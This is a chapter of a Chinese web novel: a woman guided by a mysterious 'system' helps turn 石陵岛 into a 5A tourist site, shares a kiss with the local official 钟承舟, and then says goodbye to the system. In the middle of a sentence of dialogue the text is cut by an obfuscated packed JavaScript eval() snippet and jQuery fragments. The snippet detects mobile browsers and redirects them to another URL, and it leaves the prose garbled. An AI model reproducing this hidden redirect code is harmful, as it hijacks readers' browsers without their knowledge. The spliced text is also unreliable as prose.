石陵岛景区项目开标现场。


    一个身姿高挑的女人跟在散场的人后徐步走出会场，浅灰尖头高跟鞋踏出大门，鞋跟敲打大理石地板砖嗒嗒轻响。


    “张总，对不住对不住！刚才里头人太多，我没来得及跟你道喜，恭喜你中标！”另一投标公司刘总晃手快步走到她身旁，满脸堆笑，“我还真没想到你也搞旅游开发这块啊……”


    张静无意识旋动左手小拇指尾戒，唇角微勾，“谢谢你，不过这不是我的公司，我只是帮人忙而已。”


    刘总闻言神色一顿，凑近张静耳边低声打探道：“这公司背后的老板一定很有钱吧……真不跟你开玩笑，我从业这么多年来还是头一回见这么低价投标的。就你们这个报价，我扪心自问这辈子都报不出来。所以啊，这次我输得心服口服。”


    说完他朝张静连连摆手，五官为难地揉缠成一团，此刻他的神态无不诉说着自己真的做不到这份上。


    张静不紧不慢地移开视线，扯嘴笑了笑，解释道：“你想哪儿去了，我们也不是人傻钱多，公司以后是要按比例分景区收益的。”


    刘总笑着摇头，一声不吭。


    事实上，谁也不知道石陵岛景区什么时候能开业。景区的未来收益对他们这种公司来说太过遥不可及，还不如挣个项目款来得快。


    刘总：“我司机到了，你去哪儿？我带你一程。”


    张静视线轻瞥向渐渐停稳的商务车，摇头：“不用了，我和别人有约。”


    话音刚落，一辆黑色轿车从地下车库驶出，因车道刚好被前头的商务车挡住，黑色轿车只能被迫停下。


    等车停稳后，副驾驶车窗缓缓落下，柴涵亮探出脑袋，冲台阶上的张静喊道：“张总，路堵了先上车吧！”


    张静点点头，刚迈出几步又回过头，她状似不经意询问：“你不走吗？刘总。”


    刘总看到柴涵亮时略微愣神，但随即反应过来，张静可能是要去谈石陵岛开发的事，他忙不迭回答：“走的走的！”


    ……


    三层轮渡松放下拴着船用跳板的铁链，钟承舟开足马力，车身嗖的一下擦过铁板驶进一层船舱。


    车轮停止转动，钟承舟熄火拔出车钥匙，他们不约而同解开身上安全带，推开车门走向二层甲板。


    踏上二层甲板，海天一色，视野豁然开朗。


    张静拇指微勾挑起耳边随风飞舞的发丝，柴涵亮摸着崭新光滑的甲板栏杆，嘴里小声感慨：“以前开车出岛还要约平板运输船，现在车都可以直接上轮渡了，我们石陵岛也是好起来了……”


    张静平淡地收回视线，双眼目视前方，凭眺远处的石陵岛。


    她现在只想上岛，与阮黎见上一面。


    柴涵亮余光瞧向张静默然的侧脸，她全身散发着生人勿近的冰冷气场，他壮胆走上前，“张总，我很好奇你怎么会认识阮黎姐？”


    会场签合同的时候，张静主动与钟承舟搭话，柴涵亮在旁听两人聊天。但当她嘴里吐出阮黎名字时，相比钟承舟的淡定自若，柴涵亮着实被吓了一跳，他抓破脑袋也想不到，看起来互不相干的两人竟然会认识。


    张静侧眸看向他，沉思片刻，她双唇微碰，“阮黎是我们XT旅游开发公司的小股东。”


    “……哇哦。”柴涵亮默默闭上嘴，果真是人比人气死人，阮黎姐的产业还真多……


    钟承舟右手搭靠左臂，食指轻轻敲打肱二头肌，清冷的嗓音悠悠响起：“你们认识多久了？”


    张静盯着钟承舟的眼睛，没有直面回答，微微一笑：“秘密。”


    钟承舟食指微顿，随后唇角轻轻上扬，张静的回答既在自己的意料之中，也在自己的意料之外。


    其实现在，他已经不在意阮黎隐瞒了什么秘密，只要她幸福快乐就好。


    -


    黑岩咖啡。


    张静坐在落地窗边观海，两指轻缓地摆弄着黑色吸管，她的思绪随着浪花涌起拍落，目光一转看向坐在她对面的阮黎。


    “不是我说，你爸还真是一个慈善家，钱多的没处花，到处献爱心。”张静的话语里比起感慨，更多的是打趣，“对了，你爸是不是不打算来华夏了？总感觉他要把公司全部股份慢慢让渡给你。”


    听完张静的话，阮黎顿感莫名，一脸愣然地回看向她，谁？我爸？


    张静也看出阮黎神色不太对劲，疑惑：“谢正统不是你爸吗？”


    谢正统是谁？


    阮黎眼底划过一丝茫然。


    不等阮黎开口，张静的指尖就隔空遥遥指向她那双琥珀色的眼瞳，光下瞳孔里流动着细碎的金光，温柔明亮。


    “啊，那是我误会了。我还以为谢正统是你爸，因为你看起来有点像混血儿……”


    这下阮黎听明白了，张静这是把她当成系统的女儿了，谁让系统在张静那儿的身份是一位境外富商。


    阮黎不得不再次澄清：“……我不是混血。”


    “系……谢正统也不是我爸，我和它的关系就跟你一样，也是朋友。”


    说实话，阮黎不太懂系统为什么要给自己取名为谢正统……这是有什么含义吗？


    暗中观察的系统：【XT，正版系统。】


    阮黎：……看来你很为自己的正版身份而感到自豪。


    系统：【包的。】


    等阮黎抬眸，她讶然发现张静正定定地注视着自己，紧接着张静垂下眼浅笑，冰冷的神色如初雪消融瞬间缓和，“不好意思，闹了个笑话。正式自我介绍一下，我叫张静，XT旅游开发公司的代理人。”


    “阮黎，XT旅游开发公司暂时只拥有9%股份的小股东？”阮黎有样学样。


    “你很有意思。”张静笑了笑，伸长手臂递给阮黎手机，“这是谢正统发给我的景区渲染图，你看看有没有什么问题，如果没有问题就可以马上安排施工团队进岛。”


    阮黎视线落在张静的手机屏幕上，这些渲染图她在系统APP里也见过。不过哪怕她已经翻看过成千上百次，但再次看到时仍会觉得一如初见惊艳无比。


    “忘了一件事。”张静搬起椅子坐近阮黎身边，指头向左滑动图片，屏幕里是码头的设计图，造型酷似海上船帆，“在开标现场的时候钟书记跟我说，有位歌手会全额出资建造渔人码头。”


    “我知道，徐星。”阮黎闻言点头，不论是钟承舟、还是徐星本人都有跟她说过这事。


    张静继续滑动图片，“嗯……像马路和一些基础设施也不用我们操心，国家那边包了。”


    不知不觉图片滑到了最后一张，阮黎目不转睛地盯着这张俯瞰全岛全新景色的图片，也不知道过了多久，她眼睫轻眨，朝张静弯唇一笑。


    “我没问题，开始吧。”


    后院降香黄檀簌簌轻响，叶片缓缓飘落，色泽由绿慢慢过渡成枯黄，腐烂攀向新生。


    -


    又是一年夏季，阵雨天。


    石陵岛申请5A级景区的事尽人皆知。


    石雪双手拎着四瓶茉莉青提味的香槟酒，井然有序地跟着人群走出渔人码头闸口。玻璃幕墙外细雨绵绵，有带伞的迅速撑开雨伞，徒步走向两侧移动商铺，砍价后买了些特产寄回家中。


    而没带伞的人，人手一把共享雨伞，松散地站在出入口电动遮雨棚下等候接驳车的到来。


    这时石雪微侧肩膀挤出人群，她探头左顾右看，石陵岛的变化真是日新月异，完全看不出三年前是那样的老旧不堪。


    “叮咚——接驳车到了，请大家有序上车！”


    一辆辆小型的接驳车在渔人码头前整齐排开，躲雨的人就像见到救星一般乌泱泱挤上车，石雪冒雨小跑坐上最后一辆空车。


    石雪抱着香槟酒望向窗外，沿路的风景和第一次所见截然不同，她的指腹仔细抹干瓶身上残留的几滴雨水。


    因为今天是文旅部拟定石陵岛为5A级景区的公示期最后一天，所以石雪特意带上香槟酒来找阮黎她们庆祝。


    “黑岩咖啡到了！请往后门下车！”


    气流释放呲了一声，车门缓缓打开，石雪连忙抱起香槟酒跑下车。她肩头匆匆擦过站牌边的矮墙，但没有注意到墙上贴着的蓝色责任牌，黑岩咖啡片区负责人：阮黎。


    ……


    黑岩咖啡。


    一张张熟悉的面孔上写满了焦灼，每个人都有一个统一的动作，那就是两眼时不时扫向屏幕时间。


    瞧着手里的时间，钟建雄急得满头出汗，他微微使劲扯下挂在脖间的白毛巾，抬手就是一顿乱擦，“早知道我就跟他们一起去了，害……没想到现在只能在这边干着急，真让人上火！”


    “你不是上火，你是屁股长跳蚤，坐不住。”樊海生白了他一眼，把自己的桂花乌龙拿铁推给他，“降降火气。”


    阮黎虽然面上不显，但心中同样惴惴不安。


    阮黎心不在焉地拨弄手腕上的手串，咖啡豆之间碰撞轻响，再配合上咖啡豆的香气，她那焦虑的心竟然渐渐恢复平静。


    钟晓云两手捏扁黑小豆的脸蛋，抿紧唇瓣，瞧向阮黎犹豫地问：“公示期已经结束了……小叔叔没发微信说什么吗？”


    现在钟晓云说话断句已经没有任何问题，与普通人一般无二。


    阮黎摇摇头，手机屏幕没有任何微信推送消息，钟承舟就像人间蒸发了一般。


    就在这时，沉默的气氛登时被突兀的砰声打断，众人循声而望，吕阳兰正在帮石雪开香槟木塞，积压许久的白气似迫不及待般从瓶口迸发而出。


    “别担心，没消息就是最好的消息，我相信石陵岛5A级景区一定没问题！”石雪举起开封的香槟，另一手在柜子里找玻璃杯，“提前喝点香槟放松一下。”


    “我帮你。”


    阮黎明白石雪的心意，弯腰帮她取出玻璃杯。


    浅黄色的酒液裹着细密的气泡盛满玻璃杯，石雪把第一杯递给阮黎，她知道阮黎的心理压力不比在场任何人少，“阮黎姐你喝喝看，其实我觉得它更像果酒饮料，一点都不醉人。”


    阮黎在她热情的目光下接了过来，她没有闻到茉莉香气，更多的是青涩香甜的青提果香。


    阮黎试探地浅尝一口，没有一丝酒味，倒像是普通的果味气泡水。


    ……


    阮黎也不知道自己喝了几杯，意识朦胧间似乎听到店外有人拔高嗓门大喊，“回来了！村长他们把5A级景区牌匾带回来了！”，紧接着是噼里啪啦的鞭炮炸开声。


    听到鞭炮声，在店里等候多时的人立马坐不住了，一个个夺门而出、跑得飞快。


    阮黎刚迈出一步，手背后知后觉贴上发烫的两颊，眉头随即微蹙，她眸光一转看向石雪：“这酒真不会醉吗？我怎么觉得自己好像有点醉了……”


    “……喝一两杯是不会的。”石雪沉默地咽了下口水，她余光扫向空瓶的香槟，但阮黎姐也喝太多了。


    阮黎张了张嘴似乎想说什么，但下一秒被店外热火朝天的欢呼声打断，她转头瞧向店外攘攘熙熙的人群，冲石雪招了招手：“走吧，我们一起去看看。”


    阵雨并未停歇，如丝的雨幕款款落下，温柔飘洒。


    每个人顶着细雨欢呼雀跃着，仿佛天上下的不是雨，是油，将他们心中的欣喜熊熊点燃。甚至雨越下，那团火愈发炽烈。


    阮黎没靠近人群，她仰起视线透过雨丝望向被樊海生和钟建雄共同举高的牌匾，金色牌匾上浮雕着极其显眼的“AAAAA国家级景区”。


    一切尘埃落定，石陵岛5A级景区已成事实。


    “小钟书记，这牌匾到时候挂哪儿？”


    钟承舟没有回答他，满是笑意的眼眸瞥向人群外的阮黎，钟承舟一早就看见她了。


    钟承舟：“那得问问我们石陵岛大股东了。”


    “哈哈确实得问我们阮老板，毕竟她可是我们石陵岛最大的功臣！”


    所有人笑意盈盈地看向阮黎，目光里充满善意和信任。


    “大家决定就好。”阮黎没有什么意见。


    “直接挂黑岩咖啡门口算了，黑岩咖啡才是我们石陵岛的地标性建筑。”有人开玩笑道。


    “不不，我看挂码头，这样游客一进岛就能看到。”


    “听我的，挂村委会。”


    人群七嘴八舌地聊着，钟承舟慢步走来牵起阮黎的手，天空落下的雨丝若有若无打湿两人十指紧扣的双手，阮黎侧眸轻撩眼尾，看向笑意盈盈的他，“你怎么不给我发微


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363797|160504||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    信？”


    钟承舟笑容一僵，哑口无言，他那时候太激动，结果忘了……


    他松开阮黎的手走到她身前站定，十指交叉在她额前搭桥挡去落雨，张嘴正要道歉但下一刻他突然靠近，轻嗅阮黎身上的味道，那是一种雨后果子成熟到快要发烂的酒香。


    阮黎斜侧脖颈向后躲，鼻尖呼吸乱了几秒，她伸手推了推钟承舟的胸口，“干嘛？”


    钟承舟嘴角勾起，直起身拉开两人的距离，目光落在她绯红的脸颊上。


    “刚刚就发现你脸很红，我以为你是被人围观有些害羞，结果是背着我偷偷小酌啊？”


    阮黎视线左右游移，心虚地轻抿嘴唇。


    “醉了吗？”


    阮黎抬头撞进钟承舟棕色的眼眸，不容狡辩，她轻掐指尖，“就……一点点。”


    “雨停了！”有人伸手接雨，但手心没有一点湿意。


    钟承舟放下挡雨的双手，两人的指尖再次触碰，紧紧握住，“没雨了，我带你去醒醒酒。”


    “？”


    ……


    雨后小巷透着一股沁凉的潮湿，阮黎双手叉腰踩在台阶上，瞪了眼钟承舟：“醒酒？”


    钟承舟忍俊不禁，他不为自己辩解，也没什么好辩解的。单手搂住她的腰往前一带，阮黎被他猛然的动作吓得心脏狂跳，因为台阶的高低差，双唇轻松触碰相贴。


    阮黎心尖一颤，眼睫微眨阖上双眼，两手下意识交错搭靠在他的脖后。


    轻柔的吻带着丝珍惜的意味，而后他细细品尝她唇舌间余留的青提果酒香，贪得无厌地索取，直至舔舐尽最后一滴香甜。


    不知道过去了多久，双唇慢慢分开退离，钟承舟掀起眼睑注视着她，眼底是隐藏不住的深情眷念，他指腹温柔摩挲阮黎略显红肿的唇瓣，两人没有说话，额间轻抵缓缓喘息着。


    “喵？”


    元宝站在巷口望向巷子尽头，它竖起尾巴轻摇，而后扭着屁股走开，只不过身后的两个金铃铛杳无踪影。


    -


    当晚，为了庆祝石陵岛正式成为5A级景区，钟承舟等人都留在阮黎家吃晚饭。


    钟安平站在钟承舟身后指导他做红鲟饭，而钟承舟与往日不同，笨手笨脚地处理青蟹。就在他的手险些要被蟹钳夹住时，钟安平急忙叫停：“你怎么这么笨啊，连青蟹都不会处理？走开走开，这道菜还得我来。”


    阮黎放下手机瞥了眼钟承舟，真会演。


    钟承舟嘴角微翘，立刻退位让贤，“当然了，整个石陵岛就阿公你最会做红鲟饭了。”


    “少拍我马屁，你以为我不懂你在跟我玩心眼，我看你平时给阮黎炒菜可没见这么手生啊。”钟安平嘴上这么说，但上扬的嘴角瞬间暴露了他很受用钟承舟这套。


    “走了走了，等吃大餐。”


    钟承舟揽过阮黎的肩膀，阮黎头也不抬，认真回复林莉、江敬月她们发来的贺喜信息。


    柴涵亮坐在餐椅上刷手机，哇了一声：“哇！三滨市政府说为了庆祝我们荣升5A级景区，今晚对岸要放烟花！我看一下时间……诶？马上了！”


    “很好啊，那我们一起看。”石雪举手报名，她今晚就住阮黎这儿，根本不着急回家。


    阮黎没仔细听他们说什么，下一瞬脑内传来尖锐刺耳的噪声，就像指甲划过黑板，阮黎立刻抬手捂住耳朵。


    周围瞬间变得寂静无声，紧接着系统的电子音在脑中接连回荡。


    系统：【终极任务已成功触发！】


    系统：【终极任务：石陵岛成为5A级景区（0/1），奖励：系统APP全面破解、系统解绑。】


    系统：【恭喜宿主完成终极任务，系统APP已全面破解，系统即将解绑。】


    一连串的消息打得阮黎措手不及，她这刻才意识到真正的离别是没有预兆的。


    “阮黎——你没事吧？”钟承舟的声音在阮黎耳旁响起。


    阮黎还没缓过劲，只是摇头，她还有好多问题没问系统，顾不上和钟承舟交代去向，她握紧手机快步冲下楼。


    ……


    阮黎大步跑向无人的黑岩堤坝，撑着膝盖大口喘息着，“……系统……你还在吗？”


    系统：【在的。】


    阮黎听到系统的回应登时松了口气，继续问：“我感觉你的所有任务都是为了推动石陵岛成为5A级景区……为什么？”


    系统：【我以前就回答过了，我的任何决定都与宿主你息息相关。】


    “你的意思是说这是我想要的结果？”阮黎眸光微动，低下头。


    系统沉默了许久，久到阮黎以为它已经走了。


    系统：【恭喜宿主阮黎成功毕业，系统01不再派发任何任务。】


    阮黎鼻子猛然发酸，她知道这是系统正式的告别，她轻舔干涩紧绷的嘴唇，嘴角轻微颤动。


    系统：【不必难过，我也将开始新时空的旅程。最后我再送你一份礼物，这里的股份我将全部让渡给你。】


    阮黎扯扯嘴角，她想起之前张静和自己说的话，‘总感觉他要把公司全部股份慢慢让渡给你。’


    原来系统早就做好离别的打算。


    系统：【今后不聚亦不散，再见，阮黎。】


    阮黎轻轻扬起下巴，眼眶一下子泛红，目光望向夜幕下的渔人码头。


    泪眼朦胧间，她好像看见那个刚绑定上系统的自己，正拎着两大箱行李走下码头。等她眨眼再睁眼，码头上空无一人，仿佛刚才只是她的一场梦，现在梦醒了。


    原来聚散终有时。


    她试探喊道：“……系统？”


    声音轻的像一阵风，但，这次系统不会再回答她。


    咻——5A级景区庆祝烟花点燃上空。


    对岸一道道亮光迅速窜上黑夜，绚丽的烟花由中心的一点向外层层叠叠绽放盛开，接二连三夜空瞬间锦团花簇。


    阮黎抬起视线，眼睛一眨不眨地盯着烟花，她脸上的光亮忽明忽灭，两滴泪无声滑落脸边。


    直到最后一道烟花失去光芒，慢慢坠落黑夜。


    阮黎轻吸鼻子，转身准备走回黑岩咖啡，她双唇微碰低声道别，声音轻到几乎杳不可闻。


    “再见。”